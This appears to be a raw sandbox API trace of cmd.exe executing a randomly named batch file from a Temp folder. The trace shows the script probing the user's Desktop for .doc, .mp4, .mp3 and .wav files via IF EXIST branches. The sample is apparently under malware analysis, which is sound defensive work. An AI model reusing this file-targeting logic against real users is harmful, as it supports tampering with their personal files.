(in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.091] GetProcessHeap () returned 0x4e0000 [0038.091] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.091] GetProcessHeap () returned 0x4e0000 [0038.091] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.091] GetProcessHeap () returned 0x4e0000 [0038.091] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.091] GetProcessHeap () returned 0x4e0000 [0038.091] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.091] GetProcessHeap () returned 0x4e0000 [0038.091] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.091] GetProcessHeap () returned 0x4e0000 [0038.091] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.091] GetProcessHeap () returned 0x4e0000 [0038.091] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0038.091] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=270, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0038.091] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n") returned 2 [0038.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.091] GetFileType (hFile=0x74) returned 0x1 [0038.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0038.091] GetProcessHeap () returned 0x4e0000 [0038.092] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.092] GetProcessHeap () returned 0x4e0000 [0038.092] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.092] _tell (_FileHandle=3) returned 270 [0038.092] _close (_FileHandle=3) returned 0 [0038.092] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.092] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=270, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0038.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0038.092] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0038.092] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n") returned 25 [0038.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.092] GetFileType (hFile=0x74) returned 0x1 [0038.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0038.093] GetProcessHeap () returned 0x4e0000 [0038.093] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.093] GetProcessHeap () returned 0x4e0000 [0038.093] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.093] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.093] GetProcessHeap () returned 0x4e0000 [0038.093] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.093] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.093] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.093] GetProcessHeap () returned 0x4e0000 [0038.093] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.093] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.093] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.093] GetProcessHeap () returned 0x4e0000 [0038.093] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.093] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.093] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.093] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.093] GetProcessHeap () returned 0x4e0000 [0038.093] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.093] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.093] GetProcessHeap () returned 0x4e0000 [0038.093] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.093] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.093] GetProcessHeap () returned 0x4e0000 [0038.093] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.094] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.094] _tell (_FileHandle=3) returned 295 [0038.094] _close (_FileHandle=3) returned 0 [0038.094] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2b [0038.094] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.094] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.095] GetLastError () returned 0x2 [0038.095] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.095] GetLastError () returned 0x6 [0038.095] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.095] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.095] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.095] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.095] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.095] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.095] SetConsoleInputExeNameW () returned 0x1 [0038.095] GetConsoleOutputCP () returned 0x1b5 [0038.096] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.096] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.096] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.096] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0038.096] GetProcessHeap () returned 0x4e0000 [0038.096] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.096] GetProcessHeap () returned 0x4e0000 [0038.096] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.096] GetProcessHeap () returned 0x4e0000 [0038.096] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.096] GetProcessHeap () returned 0x4e0000 [0038.096] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.096] GetProcessHeap () returned 0x4e0000 [0038.096] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.096] GetProcessHeap () returned 0x4e0000 [0038.096] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.096] GetProcessHeap () returned 0x4e0000 [0038.096] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.096] GetProcessHeap () returned 0x4e0000 [0038.096] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.096] GetProcessHeap () returned 0x4e0000 [0038.096] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.096] GetProcessHeap () returned 0x4e0000 [0038.096] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0038.097] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=297, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0038.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n") returned 2 [0038.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.097] GetFileType (hFile=0x74) returned 0x1 [0038.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0038.097] GetProcessHeap () returned 0x4e0000 [0038.097] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.097] GetProcessHeap () returned 0x4e0000 [0038.097] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.097] _tell (_FileHandle=3) returned 297 [0038.097] _close (_FileHandle=3) returned 0 [0038.097] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.097] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=297, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0038.098] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0038.098] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0038.098] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n") returned 25 [0038.098] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.098] GetFileType (hFile=0x74) returned 0x1 [0038.098] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0038.098] GetProcessHeap () returned 0x4e0000 [0038.098] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.098] GetProcessHeap () returned 0x4e0000 [0038.098] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.098] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.098] GetProcessHeap () returned 0x4e0000 [0038.098] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.098] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.098] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.098] GetProcessHeap () returned 0x4e0000 [0038.098] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.098] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.098] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.099] GetProcessHeap () returned 0x4e0000 [0038.099] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.099] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.099] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.099] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.099] GetProcessHeap () returned 0x4e0000 [0038.099] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.099] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.099] GetProcessHeap () returned 0x4e0000 [0038.099] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.099] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.099] GetProcessHeap () returned 0x4e0000 [0038.099] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.099] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.100] _tell (_FileHandle=3) returned 322 [0038.100] _close (_FileHandle=3) returned 0 [0038.100] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFilePart=0x41eea8*="*.mp3") returned 0x2b [0038.100] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.100] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.100] GetLastError () returned 0x2 [0038.100] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.100] GetLastError () returned 0x6 [0038.100] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.100] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.100] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.100] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.101] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.101] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.101] SetConsoleInputExeNameW () returned 0x1 [0038.101] GetConsoleOutputCP () returned 0x1b5 [0038.101] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.101] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.101] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.102] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.102] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0038.102] GetProcessHeap () returned 0x4e0000 [0038.102] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.102] GetProcessHeap () returned 0x4e0000 [0038.102] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.102] GetProcessHeap () returned 0x4e0000 [0038.102] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.102] GetProcessHeap () returned 0x4e0000 [0038.102] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.102] GetProcessHeap () returned 0x4e0000 [0038.102] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.102] GetProcessHeap () returned 0x4e0000 [0038.102] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.102] GetProcessHeap () returned 0x4e0000 [0038.102] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.102] GetProcessHeap () returned 0x4e0000 [0038.102] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.102] GetProcessHeap () returned 0x4e0000 [0038.102] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.102] GetProcessHeap () returned 0x4e0000 [0038.102] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.102] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0038.102] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0038.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n\r\n") returned 2 [0038.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.103] GetFileType (hFile=0x74) returned 0x1 [0038.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0038.103] GetProcessHeap () returned 0x4e0000 [0038.103] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.103] GetProcessHeap () returned 0x4e0000 [0038.103] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.103] _tell (_FileHandle=3) returned 324 [0038.103] _close (_FileHandle=3) returned 0 [0038.103] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.103] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0038.104] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0038.104] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0038.104] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n\r\n") returned 25 [0038.104] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.104] GetFileType (hFile=0x74) returned 0x1 [0038.104] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0038.104] GetProcessHeap () returned 0x4e0000 [0038.104] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.104] GetProcessHeap () returned 0x4e0000 [0038.104] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.104] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.104] GetProcessHeap () returned 0x4e0000 [0038.104] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.104] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.105] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.105] GetProcessHeap () returned 0x4e0000 [0038.105] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.105] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.105] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.105] GetProcessHeap () returned 0x4e0000 [0038.105] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.105] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.105] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.105] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.105] GetProcessHeap () returned 0x4e0000 [0038.105] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.105] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.105] GetProcessHeap () returned 0x4e0000 [0038.105] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.105] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.105] GetProcessHeap () returned 0x4e0000 [0038.105] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.105] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.106] _tell (_FileHandle=3) returned 349 [0038.106] _close (_FileHandle=3) returned 0 [0038.106] GetFullPathNameW (in: lpFileName="*.wav", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", lpFilePart=0x41eea8*="*.wav") returned 0x2b 